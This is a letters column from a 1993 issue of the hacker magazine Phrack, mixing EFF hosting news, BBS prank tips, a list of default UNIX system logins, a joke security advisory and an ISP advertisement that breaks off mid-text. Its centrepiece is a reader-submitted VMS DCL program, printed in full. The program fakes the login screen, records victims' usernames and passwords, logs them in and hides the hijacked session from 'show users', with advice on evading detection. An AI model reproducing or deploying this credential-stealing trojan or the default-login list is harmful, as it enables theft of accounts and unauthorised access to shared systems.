955 lines
36 KiB
Plaintext
955 lines
36 KiB
Plaintext
==Phrack Magazine==
|
|
|
|
Volume Four, Issue Forty-Three, File 2 of 27
|
|
|
|
Phrack Loopback
|
|
Part I
|
|
|
|
****************************************************************************
|
|
|
|
COMING NEXT ISSUE
|
|
|
|
Van Eck Info (Theory & Practice)
|
|
More Cellular (Monitoring Reverse Channel, Broadcasting, Reprogramming)
|
|
HUGE University Dialup List (Mail Us YOUR School's Dialup NOW!)
|
|
Neato Plans For Evil Devices
|
|
Gail Thackeray Gifs
|
|
|
|
*********************************** M A I L *********************************
|
|
|
|
Chris,
|
|
|
|
Craig Neidorf gave me these addresses as ways to reach you. He tells me
|
|
that you are currently editing Phrack. I hope you are well.
|
|
|
|
Recently the EFF sysadmins, Chris Davis and Helen Rose, informed me that
|
|
eff.org was using so much of its T-1 bandwidth that UUNET, who supplies our
|
|
IUP connection, was charging us an extra $1,000 per month. They did some
|
|
investigation at my request. We determined that Phrack traffic alone was
|
|
responsible for over 40% of the total bytes transferred from the site over
|
|
the past year or so. This is several gigabytes per month. All in all, the
|
|
CuD archive, which contains Phrack, CuD, and other publications accounts
|
|
for 85% of our total traffic. All of the email to and from EFF, Usenet
|
|
traffic, and other FTP (from the EFF archive, the CAF archive, and others)
|
|
constitutes about 15%.
|
|
|
|
EFF isn't going to be able to carry it any more because it is effectively
|
|
costing us $1,000 per month. The fundamental problem is that Phrack is so
|
|
popular (at least as a free good) to cause real expense in transmission
|
|
costs. Ultimately the users are going to have to pay the costs because
|
|
bandwidth (when measures in gigabytes anyway) isn't free. The 12K per
|
|
year it costs us to carry Phrack is not something which EFF can justify in
|
|
its budget. I'm sure you can understand this.
|
|
|
|
On July 1, eff.org moves from Cambridge to Washington, DC which is when I
|
|
expect we will stop carrying it. I wanted to raise this issue now to let
|
|
you know in advance of this happening.
|
|
|
|
I have also asked Chris and Helen to talk to Brendan Kehoe, who actually
|
|
maintains the archive, to see whether there is anything we can do to help
|
|
find another site for Phrack or make any other arrangement which will
|
|
result in less loss of service.
|
|
|
|
Mitch
|
|
|
|
|
|
|
|
------------------------------------------------------------------------------
|
|
Mitchell Kapor, Electronic Frontier Foundation
|
|
Note permanent new email address for all correspondence as of 6/1/93
|
|
mkapor@kei.com
|
|
|
|
|
|
[Editor: Well, all things must come to an end. Looks like EFF's
|
|
move to Washington is leaving behind lots of bad
|
|
memories, and looking forward to a happy life in the hotbed
|
|
of American politics. We wish them good luck. We also
|
|
encourage everyone to join.........CPSR.
|
|
|
|
In all fairness, I did ask Mitch more detail about the
|
|
specifics of the cost, and he explained that EFF was paying
|
|
flat rate for a fractional T-1, and whenever they went over
|
|
their allotted bandwidth, they were billed above and beyond
|
|
the flat rate. Oh well. Thank GOD for Len Rose.
|
|
Phrack now has a new home at ftp.netsys.com.]
|
|
|
|
****************************************************************************
|
|
|
|
I'm having a really hard time finding a lead to the Information
|
|
America Network. I am writing you guys as a last resort. Could
|
|
you point me in the right direction? Maybe an access number or
|
|
something? Thanks you very much.
|
|
|
|
[Editor: You can reach Information America voice at 404-892-1800.
|
|
They will be more than happy to send you loads of info.]
|
|
|
|
****************************************************************************
|
|
|
|
To whom it may concern:
|
|
This is a submission to the next issue of phrack...thanks for the great
|
|
'zine!
|
|
----------------------------cut here-------------------------------
|
|
Greetings Furds:
|
|
|
|
Have you ever wanted to impress one of those BBS-babes with your astounding
|
|
knowledge of board tricks? Well *NOW* you can! Be the life of the party!
|
|
Gain and influence friends! Irritate SysOps! Attain the worship and
|
|
admiration of your online pals. Searchlight BBS systems (like many other
|
|
software packages) have internal strings to display user information in
|
|
messages/posts and the like. They are as follows (tested on Searchlight BBS
|
|
System v2.25D):
|
|
|
|
\%A = displays user's access level
|
|
\%B = displays baud rate connected at
|
|
\%C = unknown
|
|
\%F = unknown
|
|
\%G = displays graphics status
|
|
\%K = displays user's first name
|
|
\%L = displays system time
|
|
\%M = displays user's time left on system
|
|
\%N = displays user's name in format: First Last
|
|
\%O = times left to call "today"
|
|
\%P = unknown
|
|
\%S = displays line/node number and BBS name
|
|
\%T = displays user's time limit
|
|
\%U = displays user's name in format: FIRST_LAST
|
|
|
|
All you gotta do is slam the string somewhere in the middle of a post or
|
|
something and the value will be inserted for the reader to see.
|
|
|
|
Example: Hey there chump, I mean \%K, you better you better UL or log
|
|
off of \%S...you leach too damn many files..you got \%M mins
|
|
left to upload some new porn GIFs or face bodily harm and
|
|
mutilation!.
|
|
|
|
----------------------------
|
|
|
|
Have phun!
|
|
Inf0rmati0n Surfer (& Dr. Cloakenstein)
|
|
SysOp Cranial Manifestations vBBS
|
|
|
|
|
|
[Editor: Ya know, once a LONG LONG time ago, I got on a BBS and
|
|
while reading messages noticed that a large amount of
|
|
messages seemed to be directed at ME!!# It took me
|
|
about 10 minutes to figure it out, but BOY WAS I MAD!
|
|
|
|
Then I added my own \%U message for the next hapless fool.
|
|
:) BIG FUN!]
|
|
|
|
****************************************************************************
|
|
|
|
-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-
|
|
|
|
SotMESC
|
|
|
|
The US SotMESC Chapter is offering
|
|
Scholarships for the 1993 school term.
|
|
|
|
Entries should be single-spaced paragraphs,
|
|
Double-spacing between paragraphs.
|
|
|
|
The subject should center on an aspect of the
|
|
Computer Culture and be between 20-30 pages long.
|
|
|
|
Send entries to:
|
|
|
|
SotMESC
|
|
PO Box 573
|
|
Long Beach, MS 39560
|
|
|
|
All entries submitted will become the property of the SotMESC
|
|
|
|
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-
|
|
|
|
****************************************************************************
|
|
|
|
The Southwest Netrunner's League's
|
|
-----------------------------------------------------------------
|
|
WareZ RoDeNtZ Guide to UNIX!!!!
|
|
-----------------------------------------------------------------
|
|
|
|
Compiled by:The Technomancer (UNICOS,UNIX,VMS,and Amigas)
|
|
Assists by:SysCon XIV (The Ma'Bell Rapist)
|
|
Iron Man MK 4a (Things that make ya go boom)
|
|
|
|
This file begs to be folded, spindeled,and mutilated.
|
|
No Rights Reserved@1993
|
|
|
|
-----------------------------------------------------------------
|
|
|
|
Technomancer can be reached at: af604@FreeNet.hsc.colorado.edu
|
|
|
|
Coming this September.... Shadowland, 68020... Watch this space.
|
|
-----------------------------------------------------------------
|
|
|
|
Part I(Basic commands)
|
|
|
|
Phile Commands: ls=List Philes
|
|
more,page=Display Phile on Yo Terminal
|
|
cp=Copy Phile
|
|
mv=Move or Remove Philes
|
|
rm=Remove Philes
|
|
|
|
Editor Commnds: vi=Screen Editor
|
|
|
|
Dirtory cmmnds: dir=Prints Directory
|
|
mkdir=Makes a new Directory(also a VERY bad bug)
|
|
rmdir=Remove a Directory
|
|
pwd=print working directory
|
|
|
|
Misc. Commands: apropos=Locate commands by keyword lookup.
|
|
whatis=Display command description.
|
|
man=Displays manual pages online.
|
|
cal=Prints calendar
|
|
date=Prints the time and date.
|
|
who=Prints out every one who is logged in
|
|
(Well, almost everyone 7:^] )
|
|
|
|
---------------------------------------------------------------
|
|
|
|
Part II(Security(UNIX security, another OXYMORON 7:^] ))
|
|
|
|
If you are a useless wAReZ r0dEnT who wants to try to Netrun
|
|
a UNIX system, try these logins....
|
|
|
|
root
|
|
unmountsys
|
|
setup
|
|
makefsys
|
|
sysadm
|
|
powerdown
|
|
mountfsys
|
|
checkfsys
|
|
|
|
|
|
All I can help ya with on da passwords iz ta give you some
|
|
simple guidelines on how they are put together....
|
|
|
|
6-8 characters
|
|
6-8 characters
|
|
1 character is a special character (exmpl:# ! ' & *)
|
|
|
|
-----------------------------------------------------------------
|
|
|
|
Well thats all fo' now tune in next time, same Hack-time
|
|
same Hack-channel!!!
|
|
|
|
|
|
THE TECHNOMANCER I have taken all knowledge
|
|
af604@FreeNet.hsc.colorado.edu
|
|
to be my province
|
|
|
|
--
|
|
Technomancer
|
|
Southwest Netrunner's League
|
|
|
|
*****************************************************************
|
|
|
|
[Editor: This is an example of what NOT to send to Phrack.
|
|
This is probably the worst piece of garbage I've
|
|
received, so I had to print it. I can only hope
|
|
that it's a private joke that I just don't get.
|
|
|
|
Uh, please don't try to write something worse and
|
|
submit it hoping to have it singled out as the
|
|
next "worst," since I'll just ignore it.]
|
|
|
|
****************************************************************************
|
|
|
|
Dear Phrack,
|
|
I was looking through Phrack 42 and noticed the letters about password
|
|
stealers. It just so happened that the same day I had gotten extremely
|
|
busted for a program which was infinitely more indetectible. Such is life.
|
|
I got off pretty well being an innocent looking female so it's no biggie.
|
|
Anyway, I deleted the program the same day because all I could think was
|
|
"Shit, I'm fucked". I rewrote a new and improved version, and decided to
|
|
submit it. The basic advantages of this decoy are that a) there is no
|
|
login failure before the user enters his or her account, and b) the
|
|
program defines the show users command for the user so that when they
|
|
do show users, the fact that they are running out of another account
|
|
doesn't register on their screen.
|
|
There are a couple holes in this program that you should probably be
|
|
aware of. Neither of these can kick the user back into the account that
|
|
the program is running from, so that's no problem, but the program can
|
|
still be detected. (So basically, don't run it out of your own account...
|
|
except for maybe once...to get a new account to run it out of) First, once
|
|
the user has logged into their account (out of your program of course) hitting
|
|
control_y twice in a row will cause the terminal to inquire if they are
|
|
doing this to terminate the session on the remote node. Oops. It's really no
|
|
problem though, because most users wouldn't even know what this meant. The
|
|
other problem is that, if the user for some strange reason redefines show:
|
|
|
|
$show == ""
|
|
|
|
then the show users screen will no longer eliminate the fact that the account
|
|
is set host out of another. That's not a big deal either, however, because
|
|
not many people would sit around randomly deciding to redefine show.
|
|
The reason I was caught was that I (not even knowing the word "hacker"
|
|
until about a month ago) was dumb enough to let all my friends know about the
|
|
program and how it worked. The word got spread to redefine show, and that's
|
|
what happened. The decoy was caught and traced to me. Enough BS...here's the
|
|
program. Sorry...no UNIX...just VMS.
|
|
Lady Shade
|
|
|
|
I wrote the code...but I got so many ideas from my buddies:
|
|
Digital Sorcerer, Y.K.F.W., Techno-Pirate, Ephemereal Presence, and Black Ice
|
|
|
|
------------------------------------------------
|
|
|
|
$if p1 .eqs. "SHOW" then goto show
|
|
$sfile = ""
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! The role of the dummy file in this program is to tell if the program !!!!
|
|
!!!! is being used as a decoy or as a substitute login for the victim. It !!!!
|
|
!!!! does not stay in your directory after program termination. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$sfile = f$search("sys$system:[ZJABAD_X]dummy.txt")
|
|
$if sfile .nes. "" then goto other
|
|
$open/write io user.dat
|
|
$close io
|
|
$open/write dummy instaar_device:[miller_g]dummy.txt
|
|
$close dummy
|
|
$wo == "write sys$output"
|
|
$line = ""
|
|
$user = ""
|
|
$pass = ""
|
|
$a$ = ""
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! A login screen with a message informing someone of new mail wouldnt !!!!
|
|
!!!! be too cool... !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$set broadcast=nomail
|
|
$set message/noidenficitaion/noseverity/nofacility/notext
|
|
$on error then goto outer
|
|
$!on control_y then goto inner
|
|
$wo " [H [2J"
|
|
$wo ""
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! insert a fake logout screen here !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$wo " ZJABAD_X logged out at ", f$time()
|
|
$wo " [2A"
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! This is the main body of the program. It simulates the system login !!!!
|
|
!!!! screen. It also grabs the username and password and sticks them in !!!!
|
|
!!!! a file called user.dat !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$outer:
|
|
$set term/noecho
|
|
$inquire a$/nopun ""
|
|
$inquire a$/nopun ""
|
|
$set term/echo
|
|
$c = 0
|
|
$c1 = 0
|
|
$c2 = 0
|
|
$inner:
|
|
$c2 = c2 + 1
|
|
$if c2 .eqs. 5 then goto speedup
|
|
$c = c + 1
|
|
$if c .eqs. 15 then goto fail
|
|
$if c1 .eqs. 3 then goto fail3
|
|
$user = "a"
|
|
$wo "Username: "
|
|
$from_speedup:
|
|
$set term/uppercase
|
|
$wo " [2A"
|
|
$read/time_out=10/prompt=" [9C " sys$command user
|
|
$if user .eqs. "a" then goto timeout
|
|
$set term/nouppercase
|
|
$if user .eqs. "" then goto inner
|
|
$set term/noecho
|
|
$inquire pass "Password"
|
|
$set term/echo
|
|
$if user .eqs. "ME" then goto done
|
|
$if pass .eqs. "" then goto fail
|
|
$open/append io user.dat
|
|
$write io user + " " + pass
|
|
$close io
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! Sends the user into their account !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$open/write io set.com
|
|
$write io "$set host 0"
|
|
$write io user + "/COMMAND=INSTAAR_DEVICE:[MILLER_G]FINDNEXT"
|
|
$write io pass
|
|
$close io
|
|
$@set
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! Control has been returned to your account !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$write io " [2A"
|
|
$goto outer
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! Simulates a failure if the password is null, and also if the !!!!
|
|
!!!! username prompt has cycled through 15 times... This is what !!!!
|
|
!!!! the system login screen does. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$fail:
|
|
$c = 1
|
|
$c1 = c1 + 1
|
|
$wo "User authorization failure"
|
|
$wo " [1A"
|
|
$goto inner
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! After the third failure, the system usually sends the screen back !!!!
|
|
!!!! one step...this just handles that. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$fail3:
|
|
$wo " [2A"
|
|
$goto outer
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! The system keeps a timeout check in the login. If a username is not !!!!
|
|
!!!! entered quickly enough, the timeout message is activated !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$timeout:
|
|
$set term/nouppercase
|
|
$wo "Error reading command input"
|
|
$wo "Timeout period expired"
|
|
$wo " [2A"
|
|
$goto outer
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! There is a feature in this program which sets the terminal to !!!!
|
|
!!!! uppercase for the input of a username. This is wonderful for !!!!
|
|
!!!! preventing program detection, but it does cause a problem. It slows !!!!
|
|
!!!! the screen down, which looks suspicious. So, in the case where a !!!!
|
|
!!!! user walks up tot he terminal and holds the return key down for a !!!!
|
|
!!!! bit before typing in their username, this section speeds up the run !!!!
|
|
!!!! considerably. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$speedup:
|
|
$set term/nouppercase
|
|
$fast_loop:
|
|
$user = "a"
|
|
$read/time_out=1/prompt="Username: " sys$command io
|
|
$if user .eqs. "a" then goto from_speedup
|
|
$goto fast_loop
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! This section is optional. There are many ways that you can implement !!!!
|
|
!!!! to break out of the program when you think you have gotten enough !!!!
|
|
!!!! passwords. 1), you can sit down at the terminal and type in a string !!!!
|
|
!!!! for the username and pass which kicks you out. If this option is !!!!
|
|
!!!! implemented, you should at least put in something that looks like !!!!
|
|
!!!! you have just logged in, the program should not kick straight back !!!!
|
|
!!!! to your command level, but rather execute your login.com. 2) You !!!!
|
|
!!!! can log in to the account which is stealing the password from a !!!!
|
|
!!!! different terminal and stop the process on the account which is !!!!
|
|
!!!! running the program. This is much safer, and my recommandation. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$done:
|
|
$set broadcast=mail
|
|
$set message/facility/text/identification/severity
|
|
$delete dummy.txt;*
|
|
$exit
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! This section is how one covers up the fact that the account which has !!!!
|
|
!!!! been stolen is running out of another. Basically, the area of the show!!!!
|
|
!!!! users screen which registers this is at the far right hand side. !!!!
|
|
!!!! This section first writes the show users data to a file and alters !!!!
|
|
!!!! it before it is written to the screen for viewing by the user. There !!!!
|
|
!!!! may exist many forms of the show users command in your system, and !!!!
|
|
!!!! you may have to handle each one differently. I have written only two !!!!
|
|
!!!! manipulations into this code to be used as an example. But looking !!!!
|
|
!!!! at how this is preformed should be enough to allow you to write your !!!!
|
|
!!!! own special cases. Notice that what happens to activate this section !!!!
|
|
!!!! of the program is the computer detects the word "show" and interprets !!!!
|
|
!!!! it as a procedure call. The words following show become variables !!!!
|
|
!!!! passed into the program as p1, p2, etc. in the order which they !!!!
|
|
!!!! were typed after the word show. Also, by incorporating a third data !!!!
|
|
!!!! file into the manipulations, one can extract the terminal id for the !!!!
|
|
!!!! account which the program is running out of and plug this into the !!!!
|
|
!!!! place where the user's line displays his or her terminal id. Doing !!!!
|
|
!!!! this is better that putting in a fake terminal id, but that is just a !!!!
|
|
!!!! minor detail. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$show:
|
|
$show = ""
|
|
$show$ = ""
|
|
$length = 0
|
|
$ch = ""
|
|
$full = 0
|
|
$c = 0
|
|
$if (f$extract(5,1,p2) .eqs. "/") .and. (f$extract(6,4,p2) .nes. "FULL") then show 'p1'
|
|
$if (p2 .eqs. "USERS/FULL") .and. (p3 .eqs. "") then goto ufull
|
|
$if p2 .eqs. "USERS" .and. p3 .eqs. "" then show users
|
|
$if p2 .eqs. "USERS" .and. p3 .eqs. "" then exit
|
|
$if p3 .eqs. "" then goto fallout
|
|
$goto full
|
|
$fallout:
|
|
$show 'p2' 'p3'
|
|
$exit
|
|
$ufull:
|
|
$show users/full/output=users.dat
|
|
$goto manipulate
|
|
$full:
|
|
$show$ = p3 + "/output=users.dat"
|
|
$show users 'show$'
|
|
$manipulate:
|
|
$set message/nofacility/noseverity/notext/noidentification
|
|
$open/read io1 users.dat
|
|
$open/write io2 users2.dat
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! Control_y must be dealt with here. If the user did happen to controlY !!!
|
|
!!!! there is a chance that the files users.dat and users2.dat could be !!!
|
|
!!!! left in their directory. That is a bad thing as we are trying to !!!
|
|
!!!! prevent detection :) !!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$on control_y then goto aborted
|
|
$user = ""
|
|
$test = ""
|
|
$long = ""
|
|
$ch = ""
|
|
$length = 0
|
|
$user = f$user()
|
|
$length = f$length(user) - 2
|
|
$user = f$extract(1,length,user)
|
|
$read_loop:
|
|
$read/end_of_file=eof io1 line
|
|
$test = f$extract(1,length,line)
|
|
$ch = f$extract (length+1,1,line)
|
|
$if (test .eqs. user) .and. (ch .eqs. " ") then goto change
|
|
$from_change:
|
|
$write io2 line
|
|
$goto read_loop
|
|
$eof:
|
|
$close io1
|
|
$close io2
|
|
$type users2.dat
|
|
$del users.dat;*
|
|
$del users2.dat;*
|
|
$show == "@instaar_device:[MILLER_G]findnext show"
|
|
$set message/facility/text/severity/identification
|
|
$exit
|
|
$change:
|
|
$if f$extract(50,1,line) .nes. "" then line = f$extract(0,57,line) + "(FAKE TERMINAL INFO)"
|
|
$goto from_change
|
|
$aborted:
|
|
$!if f$search("users.dat") .nes. "" then close io1
|
|
$!if f$search("users.dat") .nes. "" then delete users.dat;*
|
|
$!if f$search("users2.dat") .nes. "" then close io2
|
|
$!if f$search("users2.dat") .nes. "" then delete users2.dat;*
|
|
$close io1
|
|
$close io2
|
|
$delete users.dat;*
|
|
$delete users2.dat;*
|
|
$show == "@instaar_device:[MILLER_G]findnext show"
|
|
$set message/facility/text/severity/identification
|
|
$exit
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
!!!! This is the section of the program which is executed in place of the !!!!
|
|
!!!! users login.com. It does grab their login and execute it to prevent !!!!
|
|
!!!! suspicion, but there are a couple of hidden commands which are also !!!!
|
|
!!!! added. They redefine the show and sys commands so that the user can !!!!
|
|
!!!! not detect that he or she is riding off of another account. !!!!
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
$other:
|
|
$sh$ = "@instaar_device:[miller_g]findnext show"
|
|
$shline = "$sh*ow ==" + sh$
|
|
$logi = ""
|
|
$logi = f$search("login.com")
|
|
$if logi .NES. "" then goto Ylogin
|
|
$nologin:
|
|
$open/write io login2.com
|
|
$write io shline
|
|
$close io
|
|
$@login2
|
|
$delete login2.com;*
|
|
$exit
|
|
$ylogin:
|
|
$open/write io2 login2.com
|
|
$open/read io1 login.com
|
|
$transfer_loop:
|
|
$read/end_of_file=ready io1 line
|
|
$write io2 line
|
|
$goto transfer_loop
|
|
$ready:
|
|
$write io2 "$sh*ow == ""@instaar_device:[miller_g]findnext show""
|
|
$close io1
|
|
$close io2
|
|
$@login2
|
|
$delete login2.com;*
|
|
$exit
|
|
|
|
|
|
[Editor: Thanks for the letter and program. I wish I could bring
|
|
myself to use a VMS and try it out. :) Always happy
|
|
to get notice that somewhere out there a female reads
|
|
Phrack. By the way, "innocent female" is an oxymoron.]
|
|
|
|
****************************************************************************
|
|
|
|
To: Phrack Loopback.
|
|
From: White Crocodile.
|
|
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
Greetings sweet Phrack and Mr. Bloodaxe. Your "loopback reports" is
|
|
really cool invention and I (sorry for egoisthic "I") with pleasure
|
|
wasting time for his reading ( ex. my playboy time ). But here for
|
|
some unknown reason appear equal style, and all loopback remind
|
|
something medium between "relations search" [Hello Dear Phrack, I am
|
|
security expert of our local area, but when I looked to output of
|
|
"last" program (oh,yeah - "last" it is ...), I ocassionaly under -
|
|
standed what apparently someone elite hacker penetrated into my
|
|
unpassworded account! But how he knew it??? I need to talk
|
|
with him! Please mail me at security@...] and "make yourself" [Yep.I
|
|
totally wrote program which gets file listing from target vicitim's
|
|
home directory in current host. After that I decided to contribute
|
|
it for You. I hope this will help. Here is the complete C code. "rx"
|
|
permission in target's '$HOME' required.].
|
|
Looking similar articles like "... off Geek!" and various reports
|
|
which don't reacheds PWN. [CENSORED BY ME].
|
|
Resulting from abovewritten reason and I let myself to add some
|
|
elite (oops word too complex), some bogus and little deposit to Your
|
|
lb. He written in classic plagiarize style.
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
* * *
|
|
Good mornin' Ladys and Gentelmen! I hacking and phreaking. I know what
|
|
it is horrible (don't read it please - this message to Bart), but I
|
|
doing it all the time (today already 3 month). I have not much time to
|
|
write, and here is the subject - I broke into one military computer
|
|
and stole their mail about new security bug!!! l00k f3r |t:
|
|
|
|
- - -
|
|
DDN & CERT
|
|
SPECIAL REPORT*
|
|
Sun 3.x,4.1.x login flaw
|
|
|
|
Subject: The huge Sun 4.x login hole.(possibly Ulitix 3.0,BSD,AIX
|
|
and many yet unknown systems)
|
|
|
|
Impact: Allow random intruders to gain "root" access.
|
|
|
|
Description:
|
|
The huge security hole was there and waiting! Type:
|
|
|
|
$ login root
|
|
|
|
[ no option required ], and You are! All what You need to know its
|
|
just root's password, but it (pw), sure, can be easily obtained from
|
|
real root, by asking him (root). Ex - "$ talk root"
|
|
|
|
Possible fix until copyrighted patch come out:
|
|
|
|
#rm /usr/bin/login
|
|
#cp /usr/games/fortune /usr/bin/login
|
|
|
|
If you believe that your system has been compromised, contact CERT CC. Call
|
|
our hotline 900-FBI-PRIVATE (24 a day,please not in dinner time or in time
|
|
of "Silence of the Lamb"), leave Inet address of your system and number of
|
|
private credit card.
|
|
- - -
|
|
|
|
* Report not will be printed in cert advisories in this form, becouse FBI
|
|
need remove all hints and tips, and make him useless to intruders.
|
|
|
|
DISCLAIMER: Above document written by CERT, DDN and FBI -
|
|
all pretension to them.
|
|
|
|
Thanks to gr*k (I can't write his full name for security reasons),roxtar,
|
|
y0,Fidelio,2 scotts from Santafe,KL (He not have attitude towards this
|
|
mail,but I included him for polite since he reserved tickets for me to
|
|
SUMMERCON),ahh,x0d,all zero's (count,bob,nick,etc.) and many others for
|
|
hints to me, what this bug really exist (Yep, before I stoled report).
|
|
|
|
- Write You later - anonymous.
|
|
|
|
P.S. Yup! If You won't think what I am toady - I wanna say also thanks to TK
|
|
and sure Erik Bloodaxe. And also - IF after E911 incident you are more
|
|
carefully, feel free to replace "stole" to "got" (when you'll post it), and
|
|
do not forget to add "reprinted with permission".
|
|
|
|
- Sincerely, anonymous.
|
|
|
|
----------------------------------------------------------------------
|
|
|
|
[Editor: More indications that we will all be raided by the DEA
|
|
more often than the FBI in coming years.]
|
|
|
|
*****************************************************************************
|
|
|
|
|
|
"Since my probation status forces me to be adamant about this. Illegal
|
|
activities on Netsys cannot and will not be tolerated. Prison sucked."
|
|
|
|
- Len Rose
|
|
|
|
06/6/93
|
|
|
|
NETSYS COMMUNICATION SERVICES Palo Alto, California
|
|
|
|
Netsys is a network of large Sun servers dedicated to providing
|
|
Internet access to individuals and corporations that need solid,
|
|
reliable Internet connectivity. Netsys is at the hub of major
|
|
Internet connectivity.
|
|
|
|
Netsys is a system for professionals in both the Internet and Unix
|
|
community. The public image is important to us. Illegal activities
|
|
cannot be tolerated.
|
|
|
|
Netsys has every feature you could possibly need.
|
|
|
|
Netsys is lightly loaded, extremely reliable and dedicated to providing
|
|
full time 24 hour Internet access.
|
|
|
|
Support: 24 hour emergency response service.
|
|
|
|
Dialups: Palo Alto area, High Speed (V.32 and PEP)
|
|
|
|
Private Accounts: $20 monthly ( with file storage capacity of 5 megabytes)
|
|
|
|
$1 per megabyte per month over 5 megabytes.
|
|
|
|
Commercial Accounts: $40 monthly (file storage capacity of 10 megabytes)
|
|
$1 per megabyte per month over 10 megabytes.
|
|
|
|
Newsfeeds: We offer both nntp and uucp based newsfeeds , with all domestic
|
|
newsgroups, and including all foreign newsgroups.
|
|
|
|
SPECIAL FEATURES THAT NO ONE ELSE CAN PROVIDE
|
|
|
|
Satellite Weather: Netsys has available real time satellite weather
|
|
imagery. Images are available in gif, or Sun raster
|
|
format. Contact us for NFS mirroring, and other special
|
|
arrangement. These images are directly downlinked from
|
|
the GOES bird. Contact Steve Eigsti (steve@netsys.com)
|
|
|
|
Satellite Usenet: Netsys is offering Pagesat's satellite newsfeed service
|
|
|
|
for large volume news distribution. Members of Netsys
|
|
can obtain substantial discounts for the purchase and
|
|
service costs of this revolutionary method of Usenet news
|
|
distribution. Both Unix and MS Windows software available.
|
|
Contact (pagesat@pagesat.com) for product information.
|
|
|
|
Paging Services: Netsys is offering Pagesat's Internet to Pager mail service.
|
|
Members of Netsys can obtain critical email to pager
|
|
services. Pagesat has the ability to gateway any critical
|
|
electronic mail to your display pager.
|
|
|
|
Leased Line Internet Connections
|
|
|
|
Pagesat Inc. offers low cost 56k and T1 Internet connections all over the
|
|
United States. Since Pagesat is an FCC common carrier, our savings on
|
|
leased lines can be passed on to you. For further information, contact
|
|
Duane Dubay (djd@pagesat.com).
|
|
|
|
We offer other services such as creating domains, acting as MX
|
|
